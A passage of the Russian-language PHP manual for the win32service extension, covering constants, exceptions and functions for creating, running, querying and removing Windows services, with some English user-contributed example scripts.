WIN32_REALTIME_PRIORITY_CLASS | 0x00000100 | Самый высокий из всех возможных приоритетов. Потоки таких процессов опережают потоки вообще всех остальных процессов, включая процессы операционной системы, выполняющие важные задачи. Например, процесс реального времени, выполняющийся с высокой частотой, может привести к тому, что дисковые кеши не будут очищаться или мышь перестанет реагировать на перемещение.
Действия при восстановлении Win32
Константа | Значение | Описание
WIN32_SC_ACTION_NONE | 0x00000000 | Никаких действий.
WIN32_SC_ACTION_RESTART | 0x00000001 | Перезапуск сервиса.
WIN32_SC_ACTION_REBOOT | 0x00000002 | Перезапуск сервера.
WIN32_SC_ACTION_RUN_COMMAND | 0x00000003 | Выполнение команды.
Win32 Service informations
Константа | Значение | Описание
WIN32_INFO_SERVICE | "service" |
WIN32_INFO_DISPLAY | "display" |
WIN32_INFO_USER | "user" |
WIN32_INFO_PASSWORD | "password" |
WIN32_INFO_PATH | "path" |
WIN32_INFO_PARAMS | "params" |
WIN32_INFO_DESCRIPTION | "description" |
WIN32_INFO_START_TYPE | "start_type" |
INFO_LOAD_ORDER | "load_order" |
INFO_SVC_TYPE | "svc_type" |
INFO_ERROR_CONTROL | "error_control" |
INFO_DELAYED_START | "delayed_start" |
INFO_BASE_PRIORITY | "base_priority" |
INFO_DEPENDENCIES | "dependencies" |
INFO_RECOVERY_DELAY | "recovery_delay" |
INFO_RECOVERY_ACTION_1 | "recovery_action_1" |
INFO_RECOVERY_ACTION_2 | "recovery_action_2" |
INFO_RECOVERY_ACTION_3 | "recovery_action_3" |
INFO_RECOVERY_RESET_PERIOD | "recovery_reset_period" |
INFO_RECOVERY_ENABLED | "recovery_enabled" |
INFO_RECOVERY_REBOOT_MSG | "recovery_reboot_msg" |
INFO_RECOVERY_COMMAND | "recovery_command" |

User Contributed Notes

There are no user contributed notes for this page.


Класс Win32ServiceException

(PECL win32service >=1.0.0)

Введение

Исключение заменяет старый механизм, в котором значение ошибки нужно было сравнивать с константами, чтобы определить ошибку. Код исключения равен значению ошибки, а сообщение об исключении основывается на соответствующем имени константы.

Обзор классов

class Win32ServiceException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Регистрация скрипта PHP для запуска в качестве службы

<?php
win32_create_service(array(
'service' => 'dummyphp', # tимя службы
'display' => 'sample dummy PHP service', # короткое описание
'description' => 'This is a dummy Windows service created using PHP.', # длинное описание
'params' => '"' . __FILE__ . '" run', # путь к скрипту и параметрам
));
?>

Пример #2 Удаление регистрации службы

<?php
win32_delete_service('dummyphp');
?>

Пример #3 Запуск в качестве службы

<?php
if ($argv[1] == 'run') {
win32_start_service_ctrl_dispatcher('dummyphp');

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
# тут творим свои дела.
# пытаемся сотворить их быстрее, чем за 30 секунд.
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


win32service

Содержание

  • win32_continue_service — Возобновляет работу приостановленной службы
  • win32_create_service — Создаёт новую запись службы в базе данных SCM
  • win32_delete_service — Удаляет запись службы из базы данных SCM
  • win32_get_last_control_message — Возвращает последнее управляющее сообщение, которое было отправлено этой службе
  • win32_pause_service — Приостанавливает службу
  • win32_query_service_status — Запрашивает статус сервиса
  • win32_send_custom_control — Отправляет настраиваемый элемент управления в службу
  • win32_set_service_exit_code — Определяет или возвращает код выхода для текущей запущенной службы
  • win32_set_service_exit_mode — Определяет или возвращает режим выхода для текущей запущенной службы
  • win32_set_service_status — Обновляет статус службы
  • win32_start_service_ctrl_dispatcher — Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем
  • win32_start_service — Запускает службу
  • win32_stop_service — Останавливает службу

User Contributed Notes

brian dot ngure at gmail dot com 30-Apr-2010 03:03
An example of how it should be done:

<?php

class TestClass {
    private $args;

    function __construct($arg) {
        $this->args = $arg;
        $this->run();
    }

    private function run() {
        if ($this->args == 'run') {
            win32_start_service_ctrl_dispatcher('test_service');

            while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
                # do your work here.
                # try not to take up more than 30 seconds before going around the loop
                # again
            }
        }
    }
}

$object = new TestClass($argv[1]);

?>


Возобновляет работу приостановленной службы

  • « win32service
  • win32_create_service »
  • PHP Manual
  • win32service
  • Возобновляет работу приостановленной службы

win32_continue_service

(PECL win32service >=0.1.0)

win32_continue_service — Возобновляет работу приостановленной службы

Описание

win32_continue_service(string $servicename, string $machine = ?): void

Возобновляет работу обозначенной приостановленной службы. Требует административных привилегий, либо аккаунта с соответствующим образом настроенным ACL для сервиса.

Список параметров

servicename

Короткое название службы.

machine

Необязательное имя машины. Если не указано, используется на локальной машине.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

Выбрасывает ValueError, если значение параметра servicename не задано.

Выбрасывает Win32ServiceException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при некорректных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возвращаемого значения void, ранее был mixed.
PECL win32service 0.3.0 | Этой функции больше не требуется привилегии администратора, если для используемого пользователя корректно настроен ACL.

Смотрите также

  • win32_start_service() - Запускает службу
  • win32_stop_service() - Останавливает службу
  • win32_pause_service() - Приостанавливает службу
  • win32_send_custom_control() - Отправляет настраиваемый элемент управления в службу
  • Коды Ошибок Win32

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую запись службы в базе данных SCM

  • « win32_continue_service
  • win32_delete_service »
  • PHP Manual
  • win32service
  • Создаёт новую запись службы в базе данных SCM

win32_create_service

(PECL win32service >=0.1.0)

win32_create_service — Создаёт новую запись службы в базе данных SCM

Описание

win32_create_service(array $details, string $machine = ?): void

Пробует добавить службу в базу данных SCM. Для этого требуются права администратора.

Список параметров

details

Массив деталей службы:

service

Краткое название службы. Это имя, которое вы будете использовать для управления службой с помощью команды net. Служба должна быть уникальной (никакие две службы не могут иметь одно и то же название) и, в идеале, не должна содержать пробелов в названии.

display

Отображаемое имя службы. Это имя, которое вы увидите в апплете служб.

description

Подробное описание услуги. Это описание, которое вы увидите в апплете служб.

user

Имя учётной записи пользователя, под которой вы хотите запускать службу. Если этот параметр не указан, служба будет работать под учётной записью LocalSystem. Если имя пользователя указано, вы также должны указать пароль.

password

Пароль, соответствующий user.

path

Полный путь к исполняемому модулю, который будет запущен при запуске службы. Если не указано, будет использоваться путь к текущему процессу PHP.

params

Параметры командной строки для передачи службе при её запуске. Если вы хотите запустить скрипт PHP как службу, то первым параметром должен быть полный путь к скрипту PHP, который вы собираетесь запустить. Если имя скрипта или путь содержат пробелы, заключите полный путь к скрипту в кавычки ".

load_order

Управляет load_order. Ещё не полностью поддерживается.

svc_type

Устанавливает тип службы. Если опущено, будет использовано значение по умолчанию WIN32_SERVICE_WIN32_OWN_PROCESS. Не меняйте это, если вы не знаете, что делаете.

start_type

Устанавливает способ запуска службы. По умолчанию используется WIN32_SERVICE_AUTO_START, что означает, что служба будет запущена при запуске машины.

error_control

Сообщает SCM, что он должен делать при обнаружении проблемы со службой. По умолчанию это WIN32_SERVER_ERROR_IGNORE. Изменение этого значения пока поддерживается не полностью.

delayed_start

Если для delayed_start установлено значение true, то это проинформирует SCM о том, что служба должна быть запущена после того, как будут запущены другие службы автозапуска, плюс небольшая задержка.

Любую службу можно пометить как службу с отложенным автозапуском; однако этот параметр не действует, если start_type службы не равен WIN32_SERVICE_AUTO_START.

Параметр применим только в Windows Vista и Windows Server 2008 или более поздних версиях.

base_priority

Чтобы уменьшить влияние на использование процессора, может потребоваться установить базовый приоритет ниже обычного.

base_priority может быть одной из констант определённых в базовых классах приоритета Win32.

dependencies

Чтобы определить зависимости для вашей службы, может потребоваться установить этот параметр для списка имён служб в массиве.

recovery_delay

Этот параметр определяет задержку между ошибкой и выполнением действия восстановления. Значение в миллисекундах.

Значение по умолчанию - 60000.

recovery_action_1

Действие будет выполнено при первой ошибке. Значение по умолчанию - WIN32_SC_ACTION_NONE.

Для recovery_action_1 можно задать одну из констант действий восстановления Win32.

recovery_action_2

Действие будет выполнено при второй ошибке. Значение по умолчанию - WIN32_SC_ACTION_NONE.

Для recovery_action_2 можно задать одну из констант действий восстановления Win32.

recovery_action_3

Действие будет выполнено при последующих ошибках. Значение по умолчанию - WIN32_SC_ACTION_NONE.

Для recovery_action_3 можно задать одну из констант действий восстановления Win32.

recovery_reset_period

Счётчик отказов будет сброшен после задержки, определённой в параметре. Задержка указывается в секундах.

Значение по умолчанию 86400.

recovery_enabled

Установите для этого параметра значение true для включения настроек восстановления, false для отключения.

Значение по умолчанию false

recovery_reboot_msg

Установите этот параметр, чтобы определить сообщение, сохраняемое в журнале событий Windows перед перезагрузкой. Используется, только если для одного из действий установлено значение WIN32_SC_ACTION_REBOOT.

recovery_command

Установите этот параметр, чтобы определить команду, выполняемую, если одно из действий определено, как WIN32_SC_ACTION_RUN_COMMAND.

machine

Необязательное имя машины, на которой вы хотите создать службу. Если не указано, будет использоваться локальный компьютер.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

Выбрасывается ValueError, если значение параметра service не задано.

Выбрасывается ValueError, если значение параметра path не задано.

Выбрасывается ValueError, если значение параметра svc_type указано неверно.

Выбрасывается ValueError, если значение параметра start_type указано неверно.

Выбрасывается ValueError, если значение параметра error_control указано неверно.

Выбрасывается ValueError, если значение параметра base_priority указано неверно.

Выбрасывается ValueError, если значение параметра recovery_delay не в промежутке между 0 и PHP_INT_MAX.

Выбрасывается ValueError, если значение параметра recovery_action_1 указано неверно.

Выбрасывается ValueError, если значение параметра recovery_action_2 указано неверно.

Выбрасывается ValueError, если значение параметра recovery_action_3 указано неверно.

Выбрасывается ValueError, если значение параметра recovery_reset_period не в промежутке между 0 и PHP_INT_MAX.

В случае возникновения ошибки выбрасывается Win32ServiceException.

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError в случае неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возврата теперь void, ранее был mixed.
PECL win32service 0.4.0 | Добавлены параметры dependencies, recovery_delay, recovery_action_1, recovery_action_2, recovery_action_3, recovery_reset_period, recovery_enabled, recovery_reboot_msg и recovery_command.

Примеры

Пример #1 Пример использования win32_create_service()

Создание сервиса с кратким названием 'dummyphp'.

<?php
$x = win32_create_service(array(
'service' => 'dummyphp', // название сервиса
'display' => 'sample dummy PHP service', // краткое описание
'description' => 'This is a dummy Windows service created using PHP.', // полное описание
'params' => '"' . __FILE__ . '" run', // путь до скрипта и параметров
));
debug_zval_dump($x);
?>

Пример #2 Пример использования win32_create_service() с зависимостями

Создание сервиса с кратким названием 'dummyphp' и зависимостями.

<?php
$x = win32_create_service(array(
'service' => 'dummyphp', // название сервиса
'display' => 'sample dummy PHP service', // краткое описание
'description' => 'This is a dummy Windows service created using PHP.', // полное описание
'params' => '"' . __FILE__ . '" run', // путь до скрипта и параметров
'dependencies' => array("Netman"), // список зависимостей
));
debug_zval_dump($x);
?>

Пример #3 Пример использования win32_create_service() с восстановлением

Создание сервиса с кратким названием 'dummyphp' и настройками восстановления.

<?php
$x = win32_create_service(array(
'service' => 'dummyphp', // название сервиса
'display' => 'sample dummy PHP service', // краткое описание
'description' => 'This is a dummy Windows service created using PHP.', // полное описание
'params' => '"' . __FILE__ . '" run', // путь до скрипта и параметров
'recovery_delay' => 120000, // Действие восстановления выполняется через 2 минуты.
'recovery_action_1' => WIN32_SC_ACTION_RESTART, // При первом сбое перезапускается служба.
'recovery_action_2' => WIN32_SC_ACTION_RUN_COMMAND, // При втором сбое выполняется команда
'recovery_action_3' => WIN32_SC_ACTION_NONE, // При последующих сбоях ничего не делать
'recovery_reset_period' => 86400, // Сбросить счётчик ошибок через 1 день
'recovery_enabled' => true, // Включить параметр восстановления
'recovery_reboot_msg' => null, // Не определяйте сообщение о перезагрузке, здесь оно не нужно
'recovery_command' => "c:\clean-service.bat", // Когда действие - WIN32_SC_ACTION_RUN_COMMAND, выполняется эта команда
));
debug_zval_dump($x);
?>

Смотрите также

  • win32_delete_service() - Удаляет запись службы из базы данных SCM
  • Базовые классы приоритета Win32
  • Действия восстановления Win32
  • Коды ошибок Win32

User Contributed Notes

Anonymous 08-Oct-2010 10:05
[An example of how to create a Windows service.  Evaluate code first and use at your own risk!]

<?php

//No timeouts, Flush Content immediatly
    set_time_limit(0);
    ob_implicit_flush();

//Service Settings
    $phpPath = "D:\\php\\php5.2.9";
    $ServiceName = 'phpServiceName';
    $ServiceDisplay = 'phpDisplayName';

//Windows Service Control
    $ServiceAction = "status";
    //$ServiceAction = "debug";
    if ( isset($_GET['ServiceAction']) and strlen($_GET['ServiceAction']) ) {
        $ServiceAction = addslashes($_GET['ServiceAction']);
    } else if ( isset($argv) and isset($argv[1]) and strlen($argv[1]) ) {
        $ServiceAction = $argv[1];
    }
    if( $ServiceAction == "status" ) {
        $ServiceStatus = win32_query_service_status($ServiceName);
        if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_STOPPED ) {
            echo "Service Stopped\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_START_PENDING ) {
            echo "Service Start Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_STOP_PENDING ) {
            echo "Service Stop Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_RUNNING ) {
            echo "Service Running\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_CONTINUE_PENDING ) {
            echo "Service Continue Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSE_PENDING ) {
            echo "Service Pause Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSED ) {
            echo "Service Paused\n\n";
        } else{
            echo "Service Unknown\n\n";
        }
      exit;
    } else if ( $ServiceAction == "install" ) {
    //Install Windows Service
        win32_create_service( Array(
            'service' => $ServiceName,
            'display' => $ServiceDisplay,
            'params' => __FILE__ . " run",
            'path' => $phpPath."\\php.exe",
        ));
        echo "Service Installed\n\n";
        exit;
    } else if ( $ServiceAction == "uninstall" ) {
    //Remove Windows Service
        win32_delete_service($ServiceName);
        echo "Service Removed\n\n";
        exit;
    } else if( $ServiceAction == "start") {
    //Start Windows Service
      win32_start_service($ServiceName);
      echo "Service Started\n\n";
      exit;
    } else if( $ServiceAction == "stop" ) {
    //Stop Windows Service
      win32_stop_service($ServiceName);
      echo "Service Stopped\n\n";
      exit;
    } else if ( $ServiceAction == "run" ) {
    //Run Windows Service
        win32_start_service_ctrl_dispatcher($ServiceName);
        win32_set_service_status(WIN32_SERVICE_RUNNING);
    } else if ( $ServiceAction == "debug" ) {
    //Debug Windows Service
        set_time_limit(10);
    } else {
        exit();
    }

//Server Loop
    while (1) {
    //Handle Windows Service Request
        usleep(100*1000);
        if ( $ServiceAction == "run" ) {
            switch ( win32_get_last_control_message() ) {
                case WIN32_SERVICE_CONTROL_CONTINUE:
                    break;
                case WIN32_SERVICE_CONTROL_INTERROGATE:
                    win32_set_service_status(WIN32_NO_ERROR);
                break;
                case WIN32_SERVICE_CONTROL_STOP:
                    win32_set_service_status(WIN32_SERVICE_STOPPED);
                    exit;
                default:
                    win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED);
            }
        }
    //User Loop
        sleep(1);
        echo "\n<BR>YOUR CODE HERE";
    }

//Exit
    if ( $ServiceAction == "run" ) {
        win32_set_service_status(WIN32_SERVICE_STOPPED);
    }
    exit();
?>
pauljamesthomson at gmail dot com 22-Jan-2007 04:54
Other start_type values:

0x00000002: A service started automatically by the service control manager during system startup. For more information, see Automatically Starting Services.

0x00000000: A device driver started by the system loader. This value is valid only for driver services.

0x00000003: A service started by the service control manager when a process calls the win32_start_service() function.

0x00000004: A service that cannot be started. Attempts to start the service result in the error code

0x00000001: A device driver started by the IoInitSystem function. This value is valid only for driver services.

I can confirm that 0x00000003 works as expected (service is created, but must be started manually).

More here:

http://msdn2.microsoft.com/en-us/library/ms682450.aspx


Удаляет запись службы из базы данных SCM

  • « win32_create_service
  • win32_get_last_control_message »
  • PHP Manual
  • win32service
  • Удаляет запись службы из базы данных SCM

win32_delete_service

(PECL win32service >=0.1.0)

win32_delete_service — Удаляет запись службы из базы данных SCM

Описание

win32_delete_service(string $servicename, string $machine = ?): void

Пытается удалить службу из базы данных SCM. Для этого требуются права администратора.

Функция на самом деле просто помечает сервис для удаления. Если другие процессы (например, сервисный апплет) открыты, то удаление будет отложено до закрытия этих приложений. Если служба помечена для удаления, дальнейшие попытки её удаления не завершатся ошибкой, а попытки создать новую службу с этим именем также будут неудачными.

Список параметров

servicename

Краткое название службы.

machine

Необязательное имя машины. Если не указано, используется локальный компьютер.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

Выбрасывает ValueError, если значение servicename не указано.

Выбрасывает Win32ServiceException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возвращаемого значения теперь void, ранее был mixed.

Примеры

Пример #1 Пример использования win32_delete_service()

Удаляет службу dummyphp.

<?php
win32_delete_service('dummyphp');
?>

Смотрите также

  • win32_create_service() - Создаёт новую запись службы в базе данных SCM
  • Коды ошибок Win32

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнее управляющее сообщение, которое было отправлено этой службе

  • « win32_delete_service
  • win32_pause_service »
  • PHP Manual
  • win32service
  • Возвращает последнее управляющее сообщение, которое было отправлено этой службе

win32_get_last_control_message

(PECL win32service >=0.1.0)

win32_get_last_control_message — Возвращает последнее управляющее сообщение, которое было отправлено этой службе

Описание

win32_get_last_control_message(): int

Возвращает управляющий код, последний раз отправленный этому процессу службы. При работе в качестве службы вы должны периодически проверять это, чтобы определять, нужно ли вашей службе прекратить работу.

Предостережение

Начиная с версии 0.2.0, функция работает только в "cli" SAPI. На других SAPI эта функция отключена.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает управляющую константу, которая будет одной из Констант сообщений управления службой Win32Service: WIN32_SERVICE_CONTROL_CONTINUE, WIN32_SERVICE_CONTROL_DEVICEEVENT, WIN32_SERVICE_CONTROL_HARDWAREPROFILECHANGE, WIN32_SERVICE_CONTROL_INTERROGATE, WIN32_SERVICE_CONTROL_NETBINDADD, WIN32_SERVICE_CONTROL_NETBINDDISABLE, WIN32_SERVICE_CONTROL_NETBINDENABLE, WIN32_SERVICE_CONTROL_NETBINDREMOVE, WIN32_SERVICE_CONTROL_PARAMCHANGE, WIN32_SERVICE_CONTROL_PAUSE, WIN32_SERVICE_CONTROL_POWEREVENT, WIN32_SERVICE_CONTROL_PRESHUTDOWN, WIN32_SERVICE_CONTROL_SESSIONCHANGE, WIN32_SERVICE_CONTROL_SHUTDOWN, WIN32_SERVICE_CONTROL_STOP.

Если значение находится в диапазоне от 128 до 255, код управления настраивается.

Ошибки

До версии 1.0.0, если SAPI не "cli", функция выдавала ошибку уровня E_ERROR.

Начиная с версии 1.0.0, выбрасывает Win32ServiceException, если SAPI не "cli"

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 0.2.0 | Функция работает только с "cli" SAPI.

Смотрите также

  • win32_start_service_ctrl_dispatcher() - Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем
  • win32_set_service_status() - Обновляет статус службы
  • win32_set_service_exit_mode() - Определяет или возвращает режим выхода для текущей запущенной службы
  • win32_set_service_exit_code() - Определяет или возвращает код выхода для текущей запущенной службы
  • Константы сообщений управления службой Win32Service

User Contributed Notes

There are no user contributed notes for this page.


Приостанавливает службу

  • « win32_get_last_control_message
  • win32_query_service_status »
  • PHP Manual
  • win32service
  • Приостанавливает службу

win32_pause_service

(PECL win32service >=0.1.0)

win32_pause_service — Приостанавливает службу

Описание

win32_pause_service(string $servicename, string $machine = ?): void

Приостанавливает указанную службу. Требуются административные привилегии или учётная запись с соответствующими правами, установленными в ACL службы.

Список параметров

servicename

Краткое название службы.

machine

Необязательное имя машины. Если не указано, используется локальный компьютер.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

Выбрасывает ValueError, если значение servicename не указано.

Выбрасывает Win32ServiceException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возвращаемого значения теперь void, ранее был mixed.
PECL win32service 0.3.0 | Функция больше не требует учётной записи администратора, если ACL установлен для другой учётной записи.

Смотрите также

  • win32_start_service() - Запускает службу
  • win32_stop_service() - Останавливает службу
  • win32_continue_service() - Возобновляет работу приостановленной службы
  • win32_send_custom_control() - Отправляет настраиваемый элемент управления в службу
  • Коды ошибок Win32

User Contributed Notes

There are no user contributed notes for this page.


Запрашивает статус сервиса

  • « win32_pause_service
  • win32_send_custom_control »
  • PHP Manual
  • win32service
  • Запрашивает статус сервиса

win32_query_service_status

(PECL win32service >=0.1.0)

win32_query_service_status — Запрашивает статус сервиса

Описание

win32_query_service_status(string $servicename, string $machine = ?): array

Запрашивает текущий статус службы, возвращая массив информации.

Список параметров

servicename

Краткое название службы.

machine

Необязательное имя машины. Если не указано, будет использоваться локальный компьютер.

Возвращаемые значения

Возвращает массив, состоящий из следующей информации в случае успешного выполнения:

До версии 1.0.0 , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

ServiceType

dwServiceType. Смотрите Битовые маски типов службы Win32Service.

CurrentState

dwCurrentState. Смотрите Константы состояния службы Win32Service.

ControlsAccepted

Какие элементы управления службами принимаются службой. Смотрите Битовые маски Win32Service Service Control Message Accepted.

Win32ExitCode

Если служба завершила работу, здесь отображается код возврата из процесса. Это значение равно WIN32_ERROR_SERVICE_SPECIFIC_ERROR, если режим выхода не является плавным. Смотрите коды ошибок Win32Service и win32_set_service_exit_mode()

ServiceSpecificExitCode

Если служба завершила работу, здесь отображается код конкретной службы, зарегистрированный в журнале событий. Это значение равно значению, определённому win32_set_service_exit_code()

CheckPoint

Если служба завершила работу, здесь отображается текущий номер контрольной точки. Это используется SCM как своего рода сердцебиение для обнаружения заклинившего процесса обслуживания. Значение контрольной точки лучше всего интерпретировать вместе со значением WaitHint.

WaitHint

Если служба завершила работу, она установит для WaitHint значение контрольной точки, которое будет указывать на 100% завершение. Это можно использовать для реализации индикатора прогресса.

ProcessId

Идентификатор процесса Windows. Если 0, процесс не запущен.

ServiceFlags

dwServiceFlags. Смотрите Константы флагов службы Win32Service.

Ошибки

Выбрасывается ValueError, если значение параметра servicename не указано.

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError в случае неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возврата теперь array, ранее был mixed.

Смотрите также

  • Предопределённые константы Win32Service

User Contributed Notes

demers dot alex at gmail dot com 21-Jul-2009 08:39
This function will return an array containing the above information as a return value, but if this fails it will return an integer which is a System Error Code. All the System Error Codes can be found here:

http://msdn.microsoft.com/en-us/library/ms681381%28VS.85%29.aspx

In my case, it returned 5, in which I immediately knew why and fixed the issue right away.

In the case of mnemotronic at netscape dot net, here in the documentation notes, it returned 1060 which is:

ERROR_SERVICE_DOES_NOT_EXIST
1060 (0x424)
The specified service does not exist as an installed service.

Again, it should not return FALSE, instead an System Error Code for Windows.


Отправляет настраиваемый элемент управления в службу

  • « win32_query_service_status
  • win32_set_service_exit_code »
  • PHP Manual
  • win32service
  • Отправляет настраиваемый элемент управления в службу

win32_send_custom_control

(PECL win32service >=0.4.0)

win32_send_custom_control — Отправляет настраиваемый элемент управления в службу

Описание

win32_send_custom_control(string $servicename, int $control, string $machine = ?): void

Смотрите » функцию Microsoft ControlService для получения дополнительных сведений.

Список параметров

servicename

Краткое название службы.

control

Значение настраиваемого элемента управления от 128 до 255.

machine

Необязательное имя машины. Если не указано, используется локальный компьютер.

Возвращаемые значения

Функция не возвращает значения после выполнения.

До версии 1.0.0, Возвращает WIN32_NO_ERROR в случае успешного завершения , false если обнаружилась проблема с параметрами или код ошибки Win32 при неудачном завершении работы.

Ошибки

До версии 1.0.0, если значение control не находится между 128 и 255, функция выдавала ошибку уровня E_ERROR.

Выбрасывает ValueError, если значение servicename не указано.

Выбрасывает ValueError, если значение control не находится между 128 и 255.

Выбрасывает Win32ServiceException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.
PECL win32service 1.0.0 | Тип возвращаемого значения теперь void, ранее был mixed.

Смотрите также

  • win32_start_service() - Запускает службу
  • win32_stop_service() - Останавливает службу
  • win32_pause_service() - Приостанавливает службу
  • win32_continue_service() - Возобновляет работу приостановленной службы
  • Коды ошибок Win32

User Contributed Notes

There are no user contributed notes for this page.


Определяет или возвращает код выхода для текущей запущенной службы

  • « win32_send_custom_control
  • win32_set_service_exit_mode »
  • PHP Manual
  • win32service
  • Определяет или возвращает код выхода для текущей запущенной службы

win32_set_service_exit_code

(PECL win32service >=0.4.0)

win32_set_service_exit_code — Определяет или возвращает код выхода для текущей запущенной службы

Описание

win32_set_service_exit_code(int $exitCode = 1): int

Изменяет или возвращает код выхода. Код выхода используется только в том случае, если режим выхода не изящный. Если значение не равно нулю, конфигурацию восстановления можно использовать после сбоя обслуживания. Смотрите » коды системных ошибок Microsoft для получения дополнительных сведений.

Предостережение

Функция работает только в "cli" SAPI. На других SAPI эта функция отключена.

Список параметров

exitCode

Код возврата, используемый при выходе.

Возвращаемые значения

Возвращает текущий или старый код выхода.

Ошибки

До версии 1.0.0, если SAPI не "cli", функция выдавала ошибку уровня E_ERROR.

Начиная с версии 1.0.0, выбрасывает Win32ServiceException, если SAPI не "cli"

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.

Смотрите также

  • win32_start_service_ctrl_dispatcher() - Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем
  • win32_set_service_status() - Обновляет статус службы
  • win32_set_service_exit_mode() - Определяет или возвращает режим выхода для текущей запущенной службы

User Contributed Notes

There are no user contributed notes for this page.


Определяет или возвращает режим выхода для текущей запущенной службы

  • « win32_set_service_exit_code
  • win32_set_service_status »
  • PHP Manual
  • win32service
  • Определяет или возвращает режим выхода для текущей запущенной службы

win32_set_service_exit_mode

(PECL win32service >=0.4.0)

win32_set_service_exit_mode — Определяет или возвращает режим выхода для текущей запущенной службы

Описание

win32_set_service_exit_mode(bool $gracefulMode = true): bool

Если указан параметр gracefulMode, режим выхода изменяется. Когда режим выхода не является корректным, используемый код выхода может быть установлен с помощью функции win32_set_service_exit_code().

Предостережение

Функция работает только в "cli" SAPI. На других SAPI эта функция отключена.

Список параметров

gracefulMode

true для изящного выхода. false для выхода с ошибкой.

Возвращаемые значения

Возвращает текущий или старый режим выхода.

Ошибки

До версии 1.0.0, если SAPI не "cli", функция выдавала ошибку уровня E_ERROR.

Начиная с версии 1.0.0, выбрасывает Win32ServiceException, если SAPI не "cli"

Список изменений

Версия | Описание
PECL win32service 1.0.0 | Выбрасывает ValueError при неверных данных в параметрах, ранее возвращалось false.
PECL win32service 1.0.0 | Выбрасывает Win32ServiceException в случае возникновения ошибки, ранее возвращался Код ошибки Win32.

Смотрите также

  • win32_start_service_ctrl_dispatcher() - Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем
  • win32_set_service_status() - Обновляет статус службы
  • win32_set_service_exit_code() - Определяет или возвращает код выхода для текущей запущенной службы

User Contributed Notes

There are no user contributed notes for this page.


Обновляет статус службы

  • « win32_set_service_exit_mode
